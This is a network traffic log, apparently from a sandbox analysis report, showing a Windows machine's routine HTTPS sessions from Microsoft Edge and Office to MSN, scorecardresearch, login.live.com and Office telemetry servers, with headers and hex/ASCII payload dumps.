118	192.168.2.7	49889	108.138.106.4	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:57 UTC	1012	OUT	GET /b2?rn=1732728792496&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1E3415CF46DC6CBF03A7008B47566DA7&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1652c19b4b2925cf4827dfd1732721696; XID=1652c19b4b2925cf4827dfd1732721696
2024-11-27 15:34:58 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 27 Nov 2024 15:34:58 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 7225c7fb64d09bab64bc17e314ef26a2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P3 X-Amz-Cf-Id: YIshiCKjia0ts9fKwNWuDzv0Az6-wlVEM3nG3ecj8yz93pEHelmCDQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	49890	23.101.168.44	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:58 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=1E3415CF46DC6CBF03A7008B47566DA7&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=81399e710af240dbdaca6d7425418f1f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=1E3415CF46DC6CBF03A7008B47566DA7; _EDGE_S=F=1&SID=26375401AFD5621E074E4145AE73634F; _EDGE_V=1
2024-11-27 15:34:58 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2762 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132595-T700343875-C128000000002116069+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002116069+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 15:34:57 GMT Connection: close
2024-11-27 15:34:58 UTC	2762	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 4f 6b 61 76 61 6e 67 6f 20 52 69 76 65 72 2c 20 42 6f 74 73 77 61 6e 61 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 4f 6b 61 76 61 6e Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Okavango River, Botswana\",\"cta\":\"https:\/\/www.bing.com\/search?q=Okavan

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	49892	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:58 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-27 15:34:58 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:34:59 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:33:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: cf70b098-17c9-4d91-8baa-0935f3d4d7cd PPServer: PPV: 30 H: PH1PEPF0001B85B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:34:58 GMT Connection: close Content-Length: 1918
2024-11-27 15:34:59 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:58 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:59 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:59 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153459Z-174f78459684bddphC1EWRbht40000000wv000000000f2g3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:59 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:59 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:59 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: c668448b-101e-007a-2d91-3f047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153459Z-174f7845968kdththC1EWRzvxn00000009h0000000006xbv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:59 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:59 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:59 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:59 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153459Z-174f7845968n2hr8hC1EWR9cag0000000wsg00000000datx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:59 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:59 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:59 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:59 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153459Z-174f7845968px8v7hC1EWR08ng0000000xc000000000duvk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:59 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:59 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:35:00 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:59 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 6eac8613-a01e-006f-3091-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153459Z-174f7845968nxc96hC1EWRspw80000000wt000000000nhag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:35:00 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	49903	104.117.182.65	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:35:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:35:00 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msB1O Last-Modified: Fri, 22 Nov 2024 19:25:52 GMT X-Source-Length: 73239 X-Datacenter: eastus X-ActivityId: 0165a883-4fd6-47bf-aa6b-e859624cb2c8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 73239 Cache-Control: public, max-age=402606 Expires: Mon, 02 Dec 2024 07:25:06 GMT Date: Wed, 27 Nov 2024 15:35:00 GMT Connection: close
2024-11-27 15:35:00 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-27 15:35:01 UTC	16384	IN	Data Raw: b2 79 a9 b0 83 00 6a 32 e2 4e f3 f3 7c e3 cb 63 fd bb 26 65 40 49 ae 9a 9d ba 00 fa 9c b9 50 57 75 66 d9 05 24 62 19 18 e2 74 76 d9 ee 79 24 de 50 51 5c 4c a8 50 6e 09 07 32 66 9b 9c 68 56 2c a7 90 4f ee 2a 71 55 53 40 98 ed ae 83 57 e6 39 cb e2 fd cc 58 81 1a 53 21 b8 bb 15 cc dd e6 54 bc 50 94 2a aa d7 0a 46 47 68 d3 79 2f 8a 45 63 ab 8b d4 42 d5 f4 76 39 2e 54 df 57 78 a1 fb 48 f4 8e f8 fb 46 f2 5f aa b8 54 94 a9 22 26 a6 06 9c 3a a8 f4 f2 f6 d6 9b 29 b2 90 02 92 84 24 fb 20 9a 93 b8 a9 d6 53 67 94 5a 7b d5 92 a5 9d d4 92 75 27 21 2f 9d da cb aa 8b 09 ee 12 98 04 c4 89 f7 7c 9f 1f 92 bd 75 3c ca ad 2d 14 12 67 20 9d 29 39 8c a1 f4 95 75 58 d2 98 e0 23 e7 eb 76 dd b4 61 4a 04 21 44 41 39 d3 dd 2f 30 34 2f 78 c9 f0 79 eb ff 00 87 42 94 20 92 40 4e dd 7c Data Ascii: yj2N\|c&e@IPWuf$btvy$PQ\LPn2fhV,OqUS@W9XS!TPFGhy/EcBv9.TWxHF_T"&:)$ SgZ{u'!/\|u<-g )9uX#vaJ!DA9/04/xyB @N\|
2024-11-27 15:35:01 UTC	2318	IN	Data Raw: ac 27 ca 35 a3 96 d3 10 6d b8 85 43 b9 56 97 6c 8c 49 22 6a 24 3a 28 71 39 c3 ec ab 90 5a 05 92 48 1d ed 2b f6 ce f7 5f 35 c9 2f 94 5a 64 82 0e 44 39 70 9e 5c d8 82 fd 47 2d c9 22 e7 2e ab a6 a4 e5 b8 41 82 d7 3b c9 a2 c0 b2 a0 3e d4 95 d6 84 9c e1 fa bb 42 da 79 74 a5 34 4c 94 7f 55 41 3d 6f 13 96 db 24 45 ce fe 1c 8f 83 1e ed 77 ac fb 43 10 da 3f 57 da b9 e4 5d ad 47 a0 ae 9b 5f 9e 41 fc 37 33 6d 7e ca a1 5b 0d 0b f4 fc d2 25 2b e1 0a 1b 43 c6 5c c4 f9 4c 38 9c 7b c2 23 c9 13 f6 2e 3c 0e 4f 6e 61 43 d9 3d 8f 94 56 17 84 e9 79 11 b1 69 cb d4 f5 a2 f0 a2 8e 44 42 b8 28 3c 3a c4 a9 e6 c7 79 6a 47 19 e9 e0 f9 9c b7 33 09 03 54 67 fc 4e 5e a7 b0 dd 00 5d 41 3e 52 31 24 ed 7e 4d 49 52 54 4c c0 f9 3d e3 0e 79 cd 54 c7 ab d7 5e b8 8b 89 42 82 bd 13 20 0d fc 77 Data Ascii: '5mCVlI"j$:(q9ZH+_5/ZdD9p\G-".A;>Byt4LUA=o$EwC?W]G_A73m~[%+C\L8{#.<OnaC=VyiDB(<:yjG3TgN^]A>R1$~MIRTL=yT^B w
